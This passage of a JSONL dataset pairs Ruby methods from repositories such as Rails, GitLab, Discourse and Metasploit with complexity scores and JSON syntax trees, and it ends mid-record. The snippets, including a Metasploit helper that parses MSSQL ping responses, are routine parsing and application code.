{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract_unit.rb","start_line":232,"raw_source":"def self.test_routes(&block)\n      routes = ActionDispatch::Routing::RouteSet.new\n      routes.draw(&block)\n      include routes.url_helpers\n      routes\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"test_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Routing\"]},\"RouteSet\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"draw\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"url_helpers\"]}]},{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]}","id":"5adb6c16-2da1-4d40-8fe3-4825029358df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/projects/fork_service_spec.rb","start_line":476,"raw_source":"def forked_from_project(project)\n          project.fork_network_member&.forked_from_project\n        end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"forked_from_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"fork_network_member\"]},\"forked_from_project\"]}]}","id":"515d6a52-db8f-435c-9d21-60d462042bba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/collection.rb","start_line":49,"raw_source":"def redact_unauthorized_results!(result)\n          objects = ids_to_objects(result.ids)\n          id_to_object_map = objects.index_by { |object| object.id.to_s }\n\n          authorized_ids = Set.new(objects.select do |object|\n            authorized_to_see_object?(result.user, object)\n          end.map(&:id).map(&:to_s))\n\n          result.ids\n            .select { |id| authorized_ids.include?(id.to_s) }\n            .map { |id| id_to_object_map[id.to_s] }\n        end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"redact_unauthorized_results!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"objects\",{\"type\":\"send\",\"children\":[null,\"ids_to_objects\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_to_object_map\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"id\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"authorized_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[null,\"authorized_to_see_object?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"user\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"ids\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorized_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_to_object_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\"]}]}]}]}]}","id":"fc7871ae-aac9-4fe8-9494-d266d9b21cbc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_helper.rb","start_line":175,"raw_source":"def close_issuable_path(issuable)\n    issuable_path(issuable, close_reopen_params(issuable, :close))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"close_issuable_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"issuable_path\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"send\",\"children\":[null,\"close_reopen_params\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"sym\",\"children\":[\"close\"]}]}]}]}","id":"706232a6-2a8d-4542-8f58-db5c1944bee8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/type_converter.rb","start_line":62,"raw_source":"def parse_types_parameter\n        converters = {}\n\n        @types.split(@types_delimiter).each { |pattern_name|\n          name, type, format = pattern_name.split(@types_label_delimiter, 3)\n          raise ConfigError, \"Type is needed\" if type.nil?\n\n          case type\n          when 'time'\n            require 'fluent/parser'\n            t_parser = Fluent::TextParser::TimeParser.new(format)\n            converters[name] = lambda { |v|\n              Converters[type].call(v, t_parser)\n            }\n          when 'array'\n            delimiter = format || ','\n            converters[name] = lambda { |v|\n              Converters[type].call(v, delimiter)\n            }\n          else\n            converters[name] = Converters[type]\n          end\n        }\n\n        converters\n      end","complexity_score":42.45,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_types_parameter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"converters\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@types\"]},\"split\",{\"type\":\"ivar\",\"children\":[\"@types_delimiter\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_name\"]},\"split\",{\"type\":\"ivar\",\"children\":[\"@types_label_delimiter\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"Type is needed\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fluent/parser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t_parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"TextParser\"]},\"TimeParser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"converters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Converters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"t_parser\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"array\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delimiter\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"converters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Converters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"delimiter\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"converters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Converters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"converters\"]}]}]}","id":"97473337-78fe-4997-a4d7-1855f64b94ee"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/pending_queued_posts_reminder.rb","start_line":43,"raw_source":"def last_notified_id\n      (i = Discourse.redis.get(self.class.last_notified_key)) && i.to_i\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"last_notified_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"last_notified_key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"to_i\"]}]}]}","id":"7c1ce387-57b8-41fd-b05d-1055fcd20dde"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/base/send_on_channel_service.rb","start_line":13,"raw_source":"def perform\n    validate_target_channel\n    return unless outgoing_message?\n    return if invalid_message?\n\n    perform_reply\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_target_channel\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"outgoing_message?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalid_message?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"perform_reply\"]}]}]}","id":"ee205913-bc3d-41cf-9cb8-233a71c952bf"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/attached/changes/create_many.rb","start_line":18,"raw_source":"def blobs\n      @blobs ||= subchanges.collect(&:blob)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"blobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blobs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subchanges\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob\"]}]}]}]}]}","id":"1f8ed268-8e3e-4467-bdf1-0bc8ecfd3696"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":590,"raw_source":"def test_lowlevel_error_message\n    server_run(log_writer: @log_writer, :force_shutdown_after => 2) do\n      raise NoMethodError, \"Oh no an error\"\n    end\n\n    response = send_http_read_response GET_10\n\n    # Internal Server Error\n    assert_equal \"HTTP/1.0 500 #{STATUS_CODES[500]}\", response.status\n    assert_match(/Puma caught this error: Oh no an error.*\\(NoMethodError\\).*test\\/test_puma_server.rb/m, response)\n  end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_lowlevel_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_writer\"]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force_shutdown_after\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]},{\"type\":\"str\",\"children\":[\"Oh no an error\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http_read_response\",{\"type\":\"const\",\"children\":[null,\"GET_10\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP/1.0 500 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATUS_CODES\"]},\"[]\",{\"type\":\"int\",\"children\":[500]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Puma caught this error: Oh no an error.*\\\\(NoMethodError\\\\).*test/test_puma_server.rb\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"50f4775a-3743-41b6-ba02-c017e9d373eb"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/discourse_db.rb","start_line":101,"raw_source":"def query_result(sql, *params)\n      @connection.send_query_params(sql, params)\n      @connection.set_single_row_mode\n\n      first_result = @connection.get_result\n      return QueryResult.new(rows: Enumerator.new {}, column_count: 0) unless first_result\n\n      column_count = first_result.nfields\n      single_column = column_count == 1\n\n      rows_enumerator =\n        Enumerator.new do |y|\n          first_result.stream_each_row { |row| single_column ? y << row[0] : y << row }\n          first_result.clear\n\n          while (result = @connection.get_result)\n            result.stream_each_row { |row| single_column ? y << row[0] : y << row }\n            result.clear\n          end\n        end\n\n      QueryResult.new(rows: rows_enumerator, column_count:)\n    end","complexity_score":40.8,"ast_json":"{\"type\":\"def\",\"children\":[\"query_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"restarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"send_query_params\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"set_single_row_mode\"]},{\"type\":\"lvasgn\",\"children\":[\"first_result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"get_result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_result\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QueryResult\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_count\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"column_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_result\"]},\"nfields\"]}]},{\"type\":\"lvasgn\",\"children\":[\"single_column\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rows_enumerator\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"y\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_result\"]},\"stream_each_row\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"single_column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_result\"]},\"clear\"]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"get_result\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"stream_each_row\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"single_column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"clear\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QueryResult\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"lvar\",\"children\":[\"rows_enumerator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_count\"]},{\"type\":\"lvar\",\"children\":[\"column_count\"]}]}]}]}]}]}","id":"dfda5702-2b2f-41f9-a52b-7e5189e57840"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1385,"raw_source":"def changed_vm_value?(options)\n    attr = options[:attr] || options[:hdw_attr]\n    raise _(\":attr required\") if attr.nil?\n\n    operator = options[:operator]\n\n    data0, data1 = drift_states.order(\"timestamp DESC\").limit(2)\n\n    if data0.nil? || data1.nil?\n      _log.info(\"Unable to evaluate, not enough state data available\")\n      return false\n    end\n\n    v0 = data0.data_obj.send(attr) || \"\"\n    v1 = data1.data_obj.send(attr) || \"\"\n    if operator.downcase == \"changed\"\n      result = !(v0 == v1)\n    else\n      raise _(\"operator '%{operator}' is not supported\") % {:operator => operator}\n    end\n    _log.info(\"Evaluate: !(#{v1} == #{v0}) = #{result}\")\n\n    result\n  end","complexity_score":50.3,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_vm_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attr\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hdw_attr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\":attr required\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operator\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data0\"]},{\"type\":\"lvasgn\",\"children\":[\"data1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drift_states\"]},\"order\",{\"type\":\"str\",\"children\":[\"timestamp DESC\"]}]},\"limit\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data0\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data1\"]},\"nil?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"Unable to evaluate, not enough state data available\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"v0\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data0\"]},\"data_obj\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"v1\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data1\"]},\"data_obj\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operator\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"changed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v0\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"v1\"]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"operator '%{operator}' is not supported\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"lvar\",\"children\":[\"operator\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Evaluate: !(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v1\"]}]},{\"type\":\"str\",\"children\":[\" == \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v0\"]}]},{\"type\":\"str\",\"children\":[\") = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"f4de4eda-d6ce-4daf-a860-28b4ec8de5ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/mssql.rb","start_line":94,"raw_source":"def mssql_ping_parse(data)\n    res = []\n    var = nil\n    idx = data.index('ServerName')\n    return res if not idx\n    sdata = data[idx, (data.length - 1)]\n\n    instances = sdata.split(';;')\n    instances.each do |instance|\n      rinst = {}\n      instance.split(';').each do |d|\n        if (not var)\n          var = d\n        else\n          if (var.length > 0)\n            rinst[var] = d\n            var = nil\n          end\n        end\n      end\n      res << rinst\n    end\n\n    return res\n  end","complexity_score":32.75,"ast_json":"{\"type\":\"def\",\"children\":[\"mssql_ping_parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"index\",{\"type\":\"str\",\"children\":[\"ServerName\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sdata\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"instances\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sdata\"]},\"split\",{\"type\":\"str\",\"children\":[\";;\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instances\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rinst\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rinst\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"var\"]},{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]},{\"type\"